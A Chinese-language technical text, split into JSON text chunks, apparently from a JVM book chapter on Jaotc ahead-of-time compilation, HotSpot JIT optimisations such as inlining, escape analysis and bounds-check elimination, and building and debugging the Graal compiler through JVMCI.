    {"text": "使用Jaotc编译java.base模块的输出结果如下所示： $ jaotc -J-XX:+UseCompressedOops -J-XX:+UseG1GC -J-Xmx4g --compile-for-tiered --info --compile-commands java.base-list.txt --output libjava.base-coop.so --module java.base Compiling libjava.base-coop.so... 6177 classes found (335 ms) 55845 methods total, 49575 methods to compile (1037 ms) Compiling with 4 threads …… 49575 methods compiled, 0 methods failed (138821 ms) Parsing compiled code (906 ms) Processing metadata (10867 ms) Preparing stubs binary (0 ms) Preparing compiled binary (103 ms) Creating binary: libjava.base-coop.o (2719 ms) Creating shared library: libjava.base-coop.so (5812 ms) Total time: 163609 ms 在笔者的i7-8750H、32GB内存的笔记本上，编译JDK 11的java.base大约花了三分钟的时间，生成的libjava.base-coop.o库大小为366MB。"},
    {"text": "编译完成后，我们就可以使用提前编译版本的java.base模块来运行Java程序了，方法与前面运行HelloWorld是一样的，用-XX：AOTLibrary来指定链接库位置即可，譬如： java -XX:AOTLibrary=java_base/libjava.base-coop.so,./libHelloWorld.so HelloWorld Hello World! 我们还可以使用-XX：+PrintAOT参数来确认哪些方法使用了提前编译的版本，从输出信息中可以看到，如果不使用提前编译版本的java.base模块，就只有HelloWord的构造函数和main()方法是提前编译版本的： $ java -XX:+PrintAOT -XX:AOTLibrary=./libHelloWorld.so HelloWorld 11 1 loaded ./libHelloWorld.so aot library 105 1 aot[ 1] HelloWorld.()V 105 2 aot[ 1] HelloWorld.main([Ljava/lang/String;)V Hello World! 但如果加入libjava.base-coop.so，那使用到的几乎所有的标准Java SE API都是被提前编译好的，输出如下： java -XX:AOTLibrary=java_base/libjava.base-coop.so,./libHelloWorld.so HelloWorld Hello World! 13 1 loaded java_base/libjava.base-coop.so aot library 13 2 loaded ./libHelloWorld.so aot library [Found [Z in java_base/libjava.base-coop.so] …… // 省略其他输出 [Found [J in java_base/libjava.base-coop.so] 31 1 aot[ 1] java.lang.Object.()V 31 2 aot[ 1] java.lang.Object.finalize()V …… // 省略其他输出 目前状态的Jaotc还有许多需要完善的地方，仍难以直接编译SpringBoot、MyBatis这些常见的第三方工具库，甚至在众多Java标准模块中，能比较顺利编译的也只有java.base模块而已。"},
    {"text": "11.4 编译器优化技术 经过前面对即时编译、提前编译的讲解，读者应该已经建立起一个认知：编译器的目标虽然是做由程序代码翻译为本地机器码的工作，但其实难点并不在于能不能成功翻译出机器码，输出代码优化质量的高低才是决定编译器优秀与否的关键。在本章之前的内容里出现过许多优化措施的专业名词，有一些是编译原理中的基础知识，譬如方法内联，只要是计算机专业毕业的读者至少都有初步的概念；但也有一些专业性比较强的名词，譬如逃逸分析，可能不少读者只听名字很难想象出来这个优化会做什么事情。本节将介绍几种HotSpot虚拟机的即时编译器在生成代码时采用的代码优化技术，以小见大，见微知著，让读者对编译器代码优化有整体理解。 11.4.1 优化技术概览 OpenJDK的官方Wiki上，HotSpot虚拟机设计团队列出了一个相对比较全面的、即时编译器中采用的优化技术列表 [1] ，如表11-1所示，其中有不少经典编译器的优化手段，也有许多针对Java语言，或者说针对运行在Java虚拟机上的所有语言进行的优化。本节先对这些技术进行概览，在后面几节中，将挑选若干最重要或最典型的优化，与读者一起看看优化前后的代码发生了怎样的变化。 表11-1 即时编译器优化技术一览 上述的优化技术看起来很多，而且名字看起来大多显得有点“高深莫测”，实际上要实现这些优化确实有不小的难度，但大部分优化技术理解起来都并不困难，为了消除读者对这些优化技术的陌生感，笔者举一个最简单的例子：通过大家熟悉的Java代码变化来展示其中几种优化技术是如何发挥作用的。不过首先需要明确一点，即时编译器对这些代码优化变换是建立在代码的中间表示或者是机器码之上的，绝不是直接在Java源码上去做的，这里只是笔者为了方便讲解，使用了Java语言的语法来表示这些优化技术所发挥的作用。 第一步，从原始代码开始，如代码清单11-6所示 [2] 。 代码清单11-6 优化前的原始代码 static class B { int value; final int get() { return value; } } public void foo() { y = b.get(); // ...do stuff... z = b.get(); sum = y + z; } 代码清单11-6所示的内容已经非常简化了，但是仍有不少优化的空间。首先，第一个要进行的优化是方法内联，它的主要目的有两个：一是去除方法调用的成本（如查找方法版本、建立栈帧等）；二是为其他优化建立良好的基础。方法内联膨胀之后可以便于在更大范围上进行后续的优化手段，可以获取更好的优化效果。因此各种编译器一般都会把内联优化放在优化序列最靠前的位置。内联后的代码如代码清单11-7所示。 代码清单11-7 内联后的代码 public void foo() { y = b.value; // ...do stuff... z = b.value; sum = y + z; } 第二步进行冗余访问消除（Redundant Loads Elimination），假设代码中间注释掉的“…do stuff…”所代表的操作不会改变b.value的值，那么就可以把“z=b.value”替换为“z=y”，因为上一句“y=b.value”已经保证了变量y与b.value是一致的，这样就可以不再去访问对象b的局部变量了。如果把b.value看作一个表达式，那么也可以把这项优化看作一种公共子表达式消除（Common Subexpression Elimination），优化后的代码如代码清单11-8所示。 代码清单11-8 冗余存储消除的代码 public void foo() { y = b.value; // ...do stuff... z = y; sum = y + z; } 第三步进行复写传播（Copy Propagation），因为这段程序的逻辑之中没有必要使用一个额外的变量z，它与变量y是完全相等的，因此我们可以使用y来代替z。复写传播之后的程序如代码清单11-9所示。 代码清单11-9 复写传播的代码 public void foo() { y = b.value; // ...do stuff... y = y; sum = y + y; } 第四步进行无用代码消除（Dead Code Elimination），无用代码可能是永远不会被执行的代码，也可能是完全没有意义的代码。因此它又被很形象地称为“Dead Code”，在代码清单11-9中，“y=y”是没有意义的，把它消除后的程序如代码清单11-10所示。 代码清单11-10 进行无用代码消除的代码 public void foo() { y = b.value; // ...do stuff... sum = y + y; } 经过四次优化之后，代码清单11-10所示代码与代码清单11-6所示代码所达到的效果是一致的，但是前者比后者省略了许多语句，体现在字节码和机器码指令上的差距会更大，执行效率的差距也会更高。编译器的这些优化技术实现起来也许确实复杂，但是要理解它们的行为，对于一个初学者来说都是没有什么困难的，完全不需要有任何的恐惧心理。 接下来，笔者挑选了四项有代表性的优化技术，与大家一起观察它们是如何运作的。它们分别是： ·最重要的优化技术之一：方法内联。 ·最前沿的优化技术之一：逃逸分析。 ·语言无关的经典优化技术之一：公共子表达式消除。 ·语言相关的经典优化技术之一：数组边界检查消除。 [1] 地址：https://wiki.openjdk.java.net/display/HotSpot/PerformanceTacticIndex。 [2] 本示例原型来自Oracle官方对编译器技术的介绍材料：http://download.oracle.com/docs/cd/E13150_01/jrockit_jvm/jrockit/geninfo/diagnos/underst_jit.html。"},
    {"text": "11.4.2 方法内联 在前面的讲解中，我们多次提到方法内联，说它是编译器最重要的优化手段，甚至都可以不加上“之一”。 内联被业内戏称为优化之母，因为除了消除方法调用的成本之外，它更重要的意义是为其他优化手段建立良好的基础，代码清单11-11所示的简单例子就揭示了内联对其他优化手段的巨大价值：没有内联，多数其他优化都无法有效进行。"},
    {"text": "代码清单11-11 未作任何优化的字节码 public static void foo(Object obj) { if (obj != null) { System.out.println(\"do something\"); } } public static void testInline(String[] args) { Object obj = null; foo(obj); } 方法内联的优化行为理解起来是没有任何困难的，不过就是把目标方法的代码原封不动地“复制”到发起调用的方法之中，避免发生真实的方法调用而已。"},
    {"text": "但实际上Java虚拟机中的内联过程却远没有想象中容易，甚至如果不是即时编译器做了一些特殊的努力，按照经典编译原理的优化理论，大多数的Java方法都无法进行内联。 无法内联的原因其实在第8章中讲解Java方法解析和分派调用的时候就已经解释过：只有使用invokespecial指令调用的私有方法、实例构造器、父类方法和使用invokestatic指令调用的静态方法才会在编译期进行解析。 除了上述四种方法之外（最多再除去被final修饰的方法这种特殊情况，尽管它使用invokevirtual指令调用，但也是非虚方法，《Java语言规范》中明确说明了这点），其他的Java方法调用都必须在运行时进行方法接收者的多态选择，它们都有可能存在多于一个版本的方法接收者，简而言之，Java语言中默认的实例方法是虚方法。 对于一个虚方法，编译器静态地去做内联的时候很难确定应该使用哪个方法版本，以将代码清单11-7中所示b.get()直接内联为b.value为例，如果不依赖上下文，是无法确定b的实际类型是什么的。"},
    {"text": "假如有ParentB和SubB是两个具有继承关系的父子类型，并且子类重写了父类的get()方法，那么b.get()是执行父类的get()方法还是子类的get()方法，这应该是根据实际类型动态分派的，而实际类型必须在实际运行到这一行代码时才能确定，编译器很难在编译时得出绝对准确的结论。"},
    {"text": "更糟糕的情况是，由于Java提倡使用面向对象的方式进行编程，而Java对象的方法默认就是虚方法，可以说Java间接鼓励了程序员使用大量的虚方法来实现程序逻辑。"},
    {"text": "为了解决虚方法的内联问题，Java虚拟机首先引入了一种名为类型继承关系分析（Class Hierarchy Analysis，CHA）的技术，这是整个应用程序范围内的类型分析技术，用于确定在目前已加载的类中，某个接口是否有多于一种的实现、某个类是否存在子类、某个子类是否覆盖了父类的某个虚方法等信息。"},
    {"text": "这样，编译器在进行内联时就会分不同情况采取不同的处理：如果是非虚方法，那么直接进行内联就可以了，这种的内联是有百分百安全保障的； 如果遇到虚方法，则会向CHA查询此方法在当前程序状态下是否真的有多个目标版本可供选择，如果查询到只有一个版本，那就可以假设“应用程序的全貌就是现在运行的这个样子”来进行内联，这种内联被称为守护内联（Guarded Inlining）。 不过由于Java程序是动态连接的，说不准什么时候就会加载到新的类型从而改变CHA结论，因此这种内联属于激进预测性优化，必须预留好“逃生门”，即当假设条件不成立时的“退路”（Slow Path）。 假如在程序的后续执行过程中，虚拟机一直没有加载到会令这个方法的接收者的继承关系发生变化的类，那这个内联优化的代码就可以一直使用下去。"},
    {"text": "假如向CHA查询出来的结果是该方法确实有多个版本的目标方法可供选择，那即时编译器还将进行最后一次努力，使用内联缓存（Inline Cache）的方式来缩减方法调用的开销。"},
    {"text": "内联缓存是一个建立在目标方法正常入口之前的缓存，它的工作原理大致为：在未发生方法调用之前，内联缓存状态为空，当第一次调用发生后，缓存记录下方法接收者的版本信息，并且每次进行方法调用时都比较接收者的版本。 如果以后进来的每次调用的方法接收者版本都是一样的，那么这时它就是一种单态内联缓存（Monomorphic Inline Cache）。"},
    {"text": "但如果真的出现方法接收者不一致的情况，就说明程序用到了虚方法的多态特性，这时候会退化成超多态内联缓存（Megamorphic Inline Cache），其开销相当于真正查找虚方法表来进行方法分派。"},
    {"text": "除了方法内联之外，对于出现概率很小（通过经验数据或解释器收集到的性能监控信息确定概率大小）的隐式异常、使用概率很小的分支等都可以被激进优化“移除”，如果真的出现了小概率事件，这时才会从“逃生门”回到解释状态重新执行。"},
    {"text": "11.4.3 逃逸分析 逃逸分析（Escape Analysis）是目前Java虚拟机中比较前沿的优化技术，它与类型继承关系分析一样，并不是直接优化代码的手段，而是为其他优化措施提供依据的分析技术。"},
    {"text": "逃逸分析的基本原理是：分析对象动态作用域，当一个对象在方法里面被定义后，它可能被外部方法所引用，例如作为调用参数传递到其他方法中，这种称为方法逃逸；"},
    {"text": "如果能证明一个对象不会逃逸到方法或线程之外（换句话说是别的方法或线程无法通过任何途径访问到这个对象），或者逃逸程度比较低（只逃逸出方法而不会逃逸出线程），则可能为这个对象实例采取不同程度的优化，如： ·栈上分配 [1] （Stack Allocations）：在Java虚拟机中，Java堆上分配创建对象的内存空间几乎是Java程序员都知道的常识，Java堆中的对象对于各个线程都是共享和可见的，只要持有这个对象的引用，就可以访问到堆中存储的对象数据。"},
    {"text": "如果确定一个对象不会逃逸出线程之外，那让这个对象在栈上分配内存将会是一个很不错的主意，对象所占用的内存空间就可以随栈帧出栈而销毁。 在一般应用中，完全不会逃逸的局部对象和不会逃逸出线程的对象所占的比例是很大的，如果能使用栈上分配，那大量的对象就会随着方法的结束而自动销毁了，垃圾收集子系统的压力将会下降很多。"},
    {"text": "·标量替换（Scalar Replacement）：若一个数据已经无法再分解成更小的数据来表示了，Java虚拟机中的原始数据类型（int、long等数值类型及reference类型等）都不能再进一步分解了，那么这些数据就可以被称为标量。"},
    {"text": "假如逃逸分析能够证明一个对象不会被方法外部访问，并且这个对象可以被拆散，那么程序真正执行的时候将可能不去创建这个对象，而改为直接创建它的若干个被这个方法使用的成员变量来代替。"},
    {"text": "将对象拆分后，除了可以让对象的成员变量在栈上（栈上存储的数据，很大机会被虚拟机分配至物理机器的高速寄存器中存储）分配和读写之外，还可以为后续进一步的优化手段创建条件。"},
    {"text": "标量替换可以视作栈上分配的一种特例，实现更简单（不用考虑整个对象完整结构的分配），但对逃逸程度的要求更高，它不允许对象逃逸出方法范围内。"},
    {"text": "·同步消除（Synchronization Elimination）：线程同步本身是一个相对耗时的过程，如果逃逸分析能够确定一个变量不会逃逸出线程，无法被其他线程访问，那么这个变量的读写肯定就不会有竞争，对这个变量实施的同步措施也就可以安全地消除掉。"},
    {"text": "关于逃逸分析的研究论文早在1999年就已经发表，但直到JDK 6，HotSpot才开始支持初步的逃逸分析，而且到现在这项优化技术尚未足够成熟，仍有很大的改进余地。"},
    {"text": "如果要百分之百准确地判断一个对象是否会逃逸，需要进行一系列复杂的数据流敏感的过程间分析，才能确定程序各个分支执行时对此对象的影响。"},
    {"text": "可以试想一下，如果逃逸分析完毕后发现几乎找不到几个不逃逸的对象，那这些运行期耗用的时间就白白浪费了，所以目前虚拟机只能采用不那么准确，但时间压力相对较小的算法来完成分析。"},
    {"text": "C和C++语言里面原生就支持了栈上分配（不使用new操作符即可），而C#也支持值类型，可以很自然地做到标量替换（但并不会对引用类型做这种优化）。"},
    {"text": "初始代码如下所示： // 完全未优化的代码 public int test(int x) { int xx = x + 2; Point p = new Point(xx, 42); return p.getX(); } 此处笔者省略了Point类的代码，这就是一个包含x和y坐标的POJO类型，读者应该很容易想象它的样子。"},
    {"text": "第一步，将Point的构造函数和getX()方法进行内联优化： // 步骤1：构造函数内联后的样子 public int test(int x) { int xx = x + 2; Point p = point_memory_alloc(); // 在堆中分配P对象的示意方法 p.x = xx; // Point构造函数被内联后的样子 p.y = 42 return p.x; // Point::getX()被内联后的样子 } 第二步，经过逃逸分析，发现在整个test()方法的范围内Point对象实例不会发生任何程度的逃逸，这样可以对它进行标量替换优化，把其内部的x和y直接置换出来，分解为test()方法内的局部变量，从而避免Point对象实例被实际创建，优化后的结果如下所示： // 步骤2：标量替换后的样子 public int test(int x) { int xx = x + 2; int px = xx; int py = 42 return px; } 第三步，通过数据流分析，发现py的值其实对方法不会造成任何影响，那就可以放心地去做无效代码消除得到最终优化结果，如下所示： // 步骤3：做无效代码消除后的样子 public int test(int x) { return x + 2; } 从测试结果来看，实施逃逸分析后的程序在MicroBenchmarks中往往能得到不错的成绩，但是在实际的应用程序中，尤其是大型程序中反而发现实施逃逸分析可能出现效果不稳定的情况，或分析过程耗时但却无法有效判别出非逃逸对象而导致性能（即时编译的收益）下降，所以曾经在很长的一段时间里，即使是服务端编译器，也默认不开启逃逸分析 [2] ，甚至在某些版本（如JDK 6 Update 18）中还曾经完全禁止了这项优化，一直到JDK 7时这项优化才成为服务端编译器默认开启的选项。"},
    {"text": "如果有需要，或者确认对程序运行有益，用户也可以使用参数-XX：+DoEscapeAnalysis来手动开启逃逸分析，开启之后可以通过参数-XX：+PrintEscapeAnalysis来查看分析结果。 有了逃逸分析支持之后，用户可以使用参数-XX：+EliminateAllocations来开启标量替换，使用+XX：+EliminateLocks来开启同步消除，使用参数-XX：+PrintEliminateAllocations查看标量的替换情况。"},
    {"text": "尽管目前逃逸分析技术仍在发展之中，未完全成熟，但它是即时编译器优化技术的一个重要前进方向，在日后的Java虚拟机中，逃逸分析技术肯定会支撑起一系列更实用、有效的优化技术。"},
    {"text": "11.4.4 公共子表达式消除 公共子表达式消除是一项非常经典的、普遍应用于各种编译器的优化技术，它的含义是：如果一个表达式E之前已经被计算过了，并且从先前的计算到现在E中所有变量的值都没有发生变化，那么E的这次出现就称为公共子表达式。对于这种表达式，没有必要花时间再对它重新进行计算，只需要直接用前面计算过的表达式结果代替E。如果这种优化仅限于程序基本块内，便可称为局部公共子表达式消除（Local Common Subexpression Elimination），如果这种优化的范围涵盖了多个基本块，那就称为全局公共子表达式消除（Global Common Subexpression Elimination）。下面举个简单的例子来说明它的优化过程，假设存在如下代码： int d = (c * b) * 12 + a + (a + b * c); 如果这段代码交给Javac编译器则不会进行任何优化，那生成的代码将如代码清单11-12所示，是完全遵照Java源码的写法直译而成的。 代码清单11-12 未作任何优化的字节码 iload_2 // b imul // 计算b*c bipush 12 // 推入12 imul // 计算(c * b) * 12 iload_1 // a iadd // 计算(c * b) * 12 + a iload_1 // a iload_2 // b iload_3 // c imul // 计算b * c iadd // 计算a + b * c iadd // 计算(c * b) * 12 + a + a + b * c istore 4 当这段代码进入虚拟机即时编译器后，它将进行如下优化：编译器检测到c*b与b*c是一样的表达式，而且在计算期间b与c的值是不变的。 因此这条表达式就可能被视为： int d = E * 12 + a + (a + E); 这时候，编译器还可能（取决于哪种虚拟机的编译器以及具体的上下文而定）进行另外一种优化——代数化简（Algebraic Simplification），在E本来就有乘法运算的前提下，把表达式变为： int d = E * 13 + a + a; 表达式进行变换之后，再计算起来就可以节省一些时间了。如果读者还对其他的经典编译优化技术感兴趣，可以参考《编译原理》（俗称龙书）中的相关章节。"},
    {"text": "11.4.5 数组边界检查消除 数组边界检查消除（Array Bounds Checking Elimination）是即时编译器中的一项语言相关的经典优化技术。我们知道Java语言是一门动态安全的语言，对数组的读写访问也不像C、C++那样实质上就是裸指针操作。如果有一个数组foo[]，在Java语言中访问数组元素foo[i]的时候系统将会自动进行上下界的范围检查，即i必须满足“i>=0&&i<foo.length”的访问条件，否则将抛出一个运行时异常：java.lang.ArrayIndexOutOfBoundsException。这对软件开发者来说是一件很友好的事情，即使程序员没有专门编写防御代码，也能够避免大多数的溢出攻击。但是对于虚拟机的执行子系统来说，每次数组元素的读写都带有一次隐含的条件判定操作，对于拥有大量数组访问的程序代码，这必定是一种性能负担。 无论如何，为了安全，数组边界检查肯定是要做的，但数组边界检查是不是必须在运行期间一次不漏地进行则是可以“商量”的事情。例如下面这个简单的情况：数组下标是一个常量，如foo[3]，只要在编译期根据数据流分析来确定foo.length的值，并判断下标“3”没有越界，执行的时候就无须判断了。更加常见的情况是，数组访问发生在循环之中，并且使用循环变量来进行数组的访问。如果编译器只要通过数据流分析就可以判定循环变量的取值范围永远在区间[0，foo.length)之内，那么在循环中就可以把整个数组的上下界检查消除掉，这可以节省很多次的条件判断操作。 把这个数组边界检查的例子放在更高的视角来看，大量的安全检查使编写Java程序比编写C和C++程序容易了很多，比如：数组越界会得到ArrayIndexOutOfBoundsException异常；空指针访问会得到NullPointException异常；除数为零会得到ArithmeticException异常……在C和C++程序中出现类似的问题，一个不小心就会出现Segment Fault信号或者Windows编程中常见的“XXX内存不能为Read/Write”之类的提示，处理不好程序就直接崩溃退出了。但这些安全检查也导致出现相同的程序，从而使Java比C和C++要做更多的事情（各种检查判断），这些事情就会导致一些隐式开销，如果不处理好它们，就很可能成为一项“Java语言天生就比较慢”的原罪。为了消除这些隐式开销，除了如数组边界检查优化这种尽可能把运行期检查提前到编译期完成的思路之外，还有一种避开的处理思路——隐式异常处理，Java中空指针检查和算术运算中除数为零的检查都采用了这种方案。举个例子，程序中访问一个对象（假设对象叫foo）的某个属性（假设属性叫value），那以Java伪代码来表示虚拟机访问foo.value的过程为： if (foo != null) { return foo.value; }else{ throw new NullPointException(); } 在使用隐式异常优化之后，虚拟机会把上面的伪代码所表示的访问过程变为如下伪代码： try { return foo.value; } catch (segment_fault) { uncommon_trap(); } 虚拟机会注册一个Segment Fault信号的异常处理器（伪代码中的uncommon_trap()，务必注意这里是指进程层面的异常处理器，并非真的Java的try-catch语句的异常处理器），这样当foo不为空的时候，对value的访问是不会有任何额外对foo判空的开销的，而代价就是当foo真的为空时，必须转到异常处理器中恢复中断并抛出NullPointException异常。进入异常处理器的过程涉及进程从用户态转到内核态中处理的过程，结束后会再回到用户态，速度远比一次判空检查要慢得多。当foo极少为空的时候，隐式异常优化是值得的，但假如foo经常为空，这样的优化反而会让程序更慢。幸好HotSpot虚拟机足够聪明，它会根据运行期收集到的性能监控信息自动选择最合适的方案。 与语言相关的其他消除操作还有不少，如自动装箱消除（Autobox Elimination）、安全点消除（Safepoint Elimination）、消除反射（Dereflection）等，这里就不再一一介绍了。 11.5 实战：深入理解Graal编译器 在本书刚开始介绍HotSpot即时编译器的时候曾经说过，从JDK 10起，HotSpot就同时拥有三款不同的即时编译器。此前我们已经介绍了经典的客户端编译器和服务端编译器，在本节，我们将把目光聚焦到HotSpot即时编译器以及提前编译器共同的最新成果——Graal编译器身上。"},
    {"text": "11.5.1 历史背景 在第1章展望Java技术的未来时，我们就听说过Graal虚拟机以及Graal编译器仍在实验室中尚未商用，但未来其有望代替或成为HotSpot下一代技术基础。Graal编译器最初是在Maxine虚拟机 [1] 中作为C1X编译器 [2] 的下一代编译器而设计的，所以它理所当然地使用于Java语言来编写。2012年，Graal编译器从Maxine虚拟机项目中分离，成为一个独立发展的Java编译器项目 [3] ，Oracle Labs希望它最终能够成为一款高编译效率、高输出质量、支持提前编译和即时编译，同时支持应用于包括HotSpot在内的不同虚拟机的编译器。由于这个编译器使用Java编写，代码清晰，又继承了许多来自HotSpot的服务端编译器的高质量优化技术，所以无论是科技企业还是高校研究院，都愿意在它上面研究和开发新编译技术。HotSpot服务端编译器的创造者Cliff Click自己就对Graal编译器十分推崇，并且公开表示再也不会用C、C++去编写虚拟机和编译器了。Twitter的Java虚拟机团队也曾公开说过C2目前犹如一潭死水，亟待一个替代品，因为在它上面开发、改进实在太困难了。 Graal编译器在JDK 9时以Jaotc提前编译工具的形式首次加入到官方的JDK中，从JDK 10起，Graal编译器可以替换服务端编译器，成为HotSpot分层编译中最顶层的即时编译器。这种可替换的即时编译器架构的实现，得益于HotSpot编译器接口的出现。 早期的Graal曾经同C1及C2一样，与HotSpot的协作是紧耦合的，这意味着每次编译Graal均需重新编译整个HotSpot。JDK 9时发布的JEP 243：Java虚拟机编译器接口（Java-Level JVM Compiler Interface，JVMCI）使得Graal可以从HotSpot的代码中分离出来。JVMCI主要提供如下三种功能： ·响应HotSpot的编译请求，并将该请求分发给Java实现的即时编译器。 ·允许编译器访问HotSpot中与即时编译相关的数据结构，包括类、字段、方法及其性能监控数据等，并提供了一组这些数据结构在Java语言层面的抽象表示。 ·提供HotSpot代码缓存（Code Cache）的Java端抽象表示，允许编译器部署编译完成的二进制机器码。 综合利用上述三项功能，我们就可以把一个在HotSpot虚拟机外部的、用Java语言实现的即时编译器（不局限于Graal）集成到HotSpot中，响应HotSpot发出的最顶层的编译请求，并将编译后的二进制代码部署到HotSpot的代码缓存中。此外，单独使用上述第三项功能，又可以绕开HotSpot的即时编译系统，让该编译器直接为应用的类库编译出二进制机器码，将该编译器当作一个提前编译器去使用（如Jaotc）。 Graal和JVMCI的出现，为不直接从事Java虚拟机和编译器开发，但对Java虚拟机技术充满好奇心的读者们提供一条窥探和尝试编译器技术的良好途径，现在我们就将开始基于Graal来实战HotSpot虚拟机的即时编译与代码优化过程。 [1] Maxine虚拟机在第1章的Java虚拟机家族里简单介绍过。 [2] C1X是Maxine虚拟机照着HotSpot C1编译器实现的编译器。 [3] 相关资料：https://jaxenter.com/oracle-championing-cause-for-graal-to-be-part-of-openjdk-104172.html。"},
    {"text": "11.5.2 构建编译调试环境 由于Graal编译器要同时支持Graal VM下的各种子项目，如Truffle、Substrate VM、Sulong等，还要支持作为HotSpot和Maxine虚拟机的即时编译器，所以只用Maven或Gradle的话，配置管理过程会相当复杂。为了降低代码管理、依赖项管理、编译和测试等环节的复杂度，Graal团队专门用Python 2写了一个名为mx的小工具来自动化做好这些事情。我们要构建Graal的调试环境，第一步要先把构建工具mx安装好，这非常简单，进行如下操作即可： $ git clone https://github.com/graalvm/mx.git $ export PATH=`pwd`/mx:$PATH 既然Graal编译器是以Java代码编写的，那第二步自然是要找一个合适的JDK来编译。考虑到Graal VM项目是基于OpenJDK 8开发的，而JVMCI接口又在JDK 9以后才会提供，所以Graal团队提供了一个带有JVMCI功能的OpenJDK 8版本，我们可以选择这个版本的JDK 8来进行编译。当读者只关注Graal编译器在HotSpot上的应用而不想涉及Graal VM其他方面时，可直接采用JDK 9及之后的标准Open/OracleJDK。在本次实战中，笔者机器上使用的是带JVMCI的OpenJDK 8 [1] ，对于与其他JDK版本有差别的步骤，笔者会特别说明。选择好JDK版本后，设置JAVA_HOME环境变量即可，这是编译过程中唯一需要手工处理的依赖： export JAVA_HOME=/usr/lib/jvm/oraclejdk1.8.0_212-jvmci-20-b01 第三步是获取Graal编译器代码，编译器部分的代码是与整个Graal VM放在一块的，我们把Graal VM复制下来，大约有700MB，操作如下： $ git clone https://github.com/graalvm/graal.git 其他目录中存放着Truffle、Substrate VM、Sulong等其他项目，这些在本次实战中不会涉及。进入compiler子目录，使用mx构建Graal编译器，操作如下： $ cd graal/compiler $ mx build 由于整个构建过程需要的依赖项都可以自动处理，需要手动处理的只有OpenJDK一个，所以编译一般不会出现什么问题，大概两三分钟编译即可完成。此时其实已经可以修改、调试Graal编译器了，但写Java代码不同于C、C++，应该没有人会直接用VIM去做Java开发调试，我们还是需要一个IDE来支持本次实战的。mx工具能够支持Eclipse、Intellij IDEA和NetBeans三种主流的Java IDE项目的创建，由于Graal团队中使用Eclipse占多数，支持也最好，所以笔者也选择Eclipse来进行本次实战，创建Eclipse项目的操作如下： $ cd graal/compiler $ mx eclipseinit 无论使用哪种IDE，都需要把IDE配置中使用的Java堆修改到2GB或以上，才能保证Graal在IDE中的编译构建能够顺利进行，譬如Eclipse默认配置（eclipse.ini文件）下的Java堆最大为1GB，这是不够的。设置完成后，在Eclipse中选择File->Open Projects from File System，再选择Graal项目的根目录，将会导入整个Graal VM，导入的工程如图11-10所示。 图11-10 Graal VM项目（部分工程） 如果你与笔者一样采用的是JDK 8，那么要记得在Eclipse中也必须将那个带有JVMCI功能的特殊JDK 8用作Eclipse里面“Java SE-1.8”的环境配置（Windows->Preferences->Java->Install JREs->Execution Environments->Java SE-1.8），此外，还需要手工将以其他版本号结尾的工程关闭，譬如图11-11所示。这对于采用其他版本JDK来编译的读者也是一样的。 到此为止，整个编译、调试环境就已经构建完毕，下面可以开始探索Graal工作原理的内容了。 [1] 获取地址：https://github.com/graalvm/graal-jvmci-8。"},
    {"text": "这样的话，JVMCI接口就应该看起来类似于下面这种样子： interface JVMCICompiler { byte[] compileMethod(byte[] bytecode); } 事实上JVMCI接口只比上面这个稍微复杂一点点，因为其输入除了字节码外，HotSpot还会向编译器提供各种该方法的相关信息，譬如局部变量表中变量槽的个数、操作数栈的最大深度，还有分层编译在底层收集到的统计信息等。"},
    {"text": "代码清单11-13 JVMCI接口 interface JVMCICompiler { void compileMethod(CompilationRequest request); } interface CompilationRequest { JavaMethod getMethod(); } interface JavaMethod { byte[] getCode(); int getMaxLocals(); int getMaxStackSize(); ProfilingInfo getProfilingInfo(); ... // 省略其他方法 } 我们在Eclipse中找到JVMCICompiler接口，通过继承关系分析，可以清楚地看到有一个实现类HotSpotGraalCompiler实现了JVMCI，如图11-12所示，这个就是我们要分析的代码的入口。 图11-12 JVMCI接口的继承关系 为了后续调试方便，我们先准备一段简单的代码，并让它触发HotSpot的即时编译，以便我们跟踪观察编译器是如何工作对的。"},
    {"text": "代码清单11-14 触发即时编译的示例代码 [1] public class Demo { public static void main(String[] args) { while (true) { workload(14, 2); } } private static int workload(int a, int b) { return a + b; } } 由于存在无限循环，workload()方法肯定很快就会被虚拟机发现是热点代码因而进行编译。"},
    {"text": "实际上除了workload()方法以外，这段简单的代码还会导致相当多的其他方法的编译，因为一个最简单的Java类的加载和运行也会触发数百个类的加载。 为了避免干扰信息太多，笔者加入了参数-XX：CompileOnly来限制只允许workload()方法被编译。"},
    {"text": "$ javac Demo.java $ java \\ -XX:+PrintCompilation \\ -XX:CompileOnly=Demo::workload \\ Demo ... 193 1 3 Demo::workload (4 bytes) 199 2 1 Demo::workload (4 bytes) 199 1 3 Demo::workload (4 bytes) made not entrant ... 上面显示wordload()方法确实被分层编译了多次，“made not entrant”的输出就表示了方法的某个已编译版本被丢弃过。"},
    {"text": "从这段信息中我们清楚看到，分层编译机制及最顶层的服务端编译都已经正常工作了，下一步就是用我们在Eclipse中的Graal编译器代替HotSpot的服务端编译器。"},
    {"text": "它查找的目标，即Graal编译器的JAR包，刚才我们已经通过mx build命令成功编译出来，所以在JDK 8下笔者使用的启动参数如代码清单11-15所示。 代码清单11-15 JDK8的运行配置 -Djvmci.class.path.append=~/graal/compiler/mxbuild/dists/jdk1.8/graal.jar:~/graal/sdk/mxbuild/dists/jdk1.8/graal-sdk.jar -XX:+UnlockExperimentalVMOptions -XX:+EnableJVMCI -XX:+UseJVMCICompiler -XX:-TieredCompilation -XX:+PrintCompilation -XX:CompileOnly=Demo::workload 如果读者采用JDK 9或以上版本，那原本的Graal编译器是实现在jdk.internal.vm.compiler模块中的，我们只要用--upgrade-module-path参数指定这个模块的升级包即可，具体如代码清单11-16所示。 代码清单11-16 JDK 9或以上版本的运行配置 --module-path=~/graal/sdk/mxbuild/dists/jdk11/graal.jar --upgrade-module-path=~graal/compiler/mxbuild/dists/jdk11/jdk.internal.vm.compiler.jar -XX:+UnlockExperimentalVMOptions -XX:+EnableJVMCI -XX:+UseJVMCICompiler -XX:-TieredCompilation -XX:+PrintCompilation -XX:CompileOnly=Demo::workload 通过上述参数，HotSpot就能顺利找到并应用我们编译的Graal编译器了。 为了确认效果，我们对HotSpotGraalCompiler类的compileMethod()方法做一个简单改动，输出编译的方法名称和编译耗时，具体如下（黑色加粗代码是笔者在源码中额外添加的内容）： public CompilationRequestResult compileMethod(CompilationRequest request) { long time = System.currentTimeMillis(); CompilationRequestResult result = compileMethod(request, true, graalRuntime.getOptions()); System.out.println(\"compile method:\" + request.getMethod().getName()); System.out.println(\"time used:\" + (System.currentTimeMillis() - time)); return result; } 在Eclipse里面运行这段代码，不需要重新运行mx build，马上就可以看到类似如下所示的输出结果： 97 1 Demo::workload (4 bytes) …… compile method:workload time used:4081 [1] 